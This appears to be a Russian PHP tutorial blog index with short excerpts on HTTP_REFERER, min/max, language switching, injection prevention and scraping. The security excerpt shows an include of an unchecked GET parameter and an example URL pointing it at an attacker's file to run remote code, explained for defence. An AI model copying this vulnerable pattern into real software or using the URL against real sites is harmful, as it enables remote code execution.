Как определить от куда пришёл пользователь на PHP

PHP
Сейчас мы с вами будем разбираться, как определить от куда пришел пользователь. Собственно тут и разбираться не в чем, для этого будем использовать элемент суперглобального массива $_SERVER - HTTP_REFERER.

Значение элемента $_SERVER['HTTP_REFERER'] - это адрес предыдущей страницы, от куда пришел пользователь по ссылке. Нам достаточно вывести значение переменной на экран:
echo $_SERVER['HTTP_REFERER'];

И мы увидим адрес страницы с которой перешел пользователь. Но есть один "промах", если пользователь не перейдет на страницу по ссылке, а введет в адресную строку адрес, где мы выводи значение переменной на экран, которого на самом деле нет, так как не было "предыдущей" страницы, то получим ошибку такого вида:
Notice: Undefined index: HTTP_REFERER in /.../.../.../

Решение может быть простым, просто перед выводом на экран значения, проверять переменную на пустоту, например, так:
echo isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Адрес не определен.';

Ну или так:
if (isset($
...

Как найти наименьшее и наибольшее число в PHP (min | max)

PHP
Может потребоваться найти наименьшее или наибольшее число при написании, какого ни будь сценария, сейчас расскажу, как это можно сделать.
Допустим у нас есть массив чисел, вот такой:
$array = array(700, 255, 333, 667, 888, 1200, 512);

Массив состоит из семи чисел в хаотичном порядке, но порядок и количество чисел не имеет значения. Из этого массива нам надо получить наименьшее число, для этого в PHP существует функция min, ее предназначение находить самое маленькое число из представленных. делаем так:
$min = min($array); 

Теперь переменная $min содержит в себе самое маленькое число из массива, то есть 255.

Теперь давайте попробуем найти самое большое число из массива. Для этого будем использовать функцию max - эта функция противоположная функции min, в отличии от min, функция max находит наибольшее число. Делаем так:
$max = max($array);

И переменная $max содержит в себе самое большое число массива, это число - 1200.

В эти две функции (min | max) можно вставлять цифры, просто перечисляя...

Делаем сайт мультиязычным (PHP + MySQLi)

Если Ваши пользователи/читатели из разных стран и естественно говорят они и читают на разных языках, значит у Вас есть на сайте возможность переключиться на другой язык. Если такой возможности нет, но Вы хотите её внедрить, тогда предлогаю Вам свой вариант создания языкового переключателя, говоря другими словами сделать свой сайт мультиязычным.

И так для начала в корне сайта создаем папку language, куда поместим два файла ru.php и en.php - эти файлы у нас и будут хранить в себе перевод языка, один язык - один файл. Для создания списка слов/фраз в языковых файлах я использую массив array(), вот так:
Файл ru.php:
<?php 
$lang = array(
    'index'                 => 'Главная страница',       
    'register'              => 'Регистрация',
    'input'                 => 'Вход', 
    'blog'                  => 'Блог',   
    'exit'                  => 'Выход',
);

Файл en.php:
<?php
$lang = array(
    'index'                 => 'Index page',       
    'register'              =>
...

Как предотвратить PHP, SQL и XSS инъекции (Безопасность)

Я конечно не супер-профессионал по безопасности, но некоторые познания в области безопасности php скриптов есть. Итак, часто встречающиеся дыры в php скриптах:
- PHP инъекция.
- SQL инъекция.
- XSS.
Вот про борьбу с этими уязвимостями и пойдёт речь. Статей по безопасности конечно уйма, но всё же, внесу и свою лепту.

Что же это такое PHP-инъекция?
PHP-инъекция - способ взлома сайта путём выполнения на сайте стороннего PHP кода. Например, вы хотите подключить необходимый файл, в зависимости от параметра, пришедшего из GET:
# Получаем имя файла
$action = isset($_GET['action']) ? $_GET['action'] : null; 

# Тут какие-то действия
# ...

# Подключаем файл
include($action);

Если ввести такой URL: http://ваш_сайт/ваш_файл.php?action=http://сайт_взломщика/файл то, если в файле php.ini на вашем сервере включена директива allow_url_include, злоумышленник может внести код, который хочет выполнить на вашем сайте, в тот файл, на который он указал ссылку и код успешно выполнится на вашем сайте....

Быстрое копирование информации с Web-страницы (Парсинг на PHP)

PHP
Заметил, что на форумах часто задают вопросы про парсинг сайтов. Решил написать небольшую статью, в которой попытаюсь объяснить азы парсинга и привести некоторые примеры работы с ним.
Итак, начнём с самого начала.

Что такое парсинг? Это слово является переведенным, а вернее просто написанным на кириллице (как это часто встречается в интернете) словом из английского языка "parsing". Оно переводится с английского как "разбор". Т.е. парсинг - это анализ и разбор какой-либо web-страницы с целью получения информации, содержащейся на ней.

Можно подумать: а зачем вообще нужно получать информацию с web-страницы таким способом? Приведу пример: допустим, Вам нужна база данных MySQL с марками и моделями автомобилей (недавно как раз мне пришлось писать парсер именно для этого). Как Вам её получить? Есть два варианта. Первый - это купить такую базу у человека, у которого она есть. Второй - составить её самому.
Если Вас устраивает первый вариант - Вы, не тратя время, покупаете её и всё. Вот так...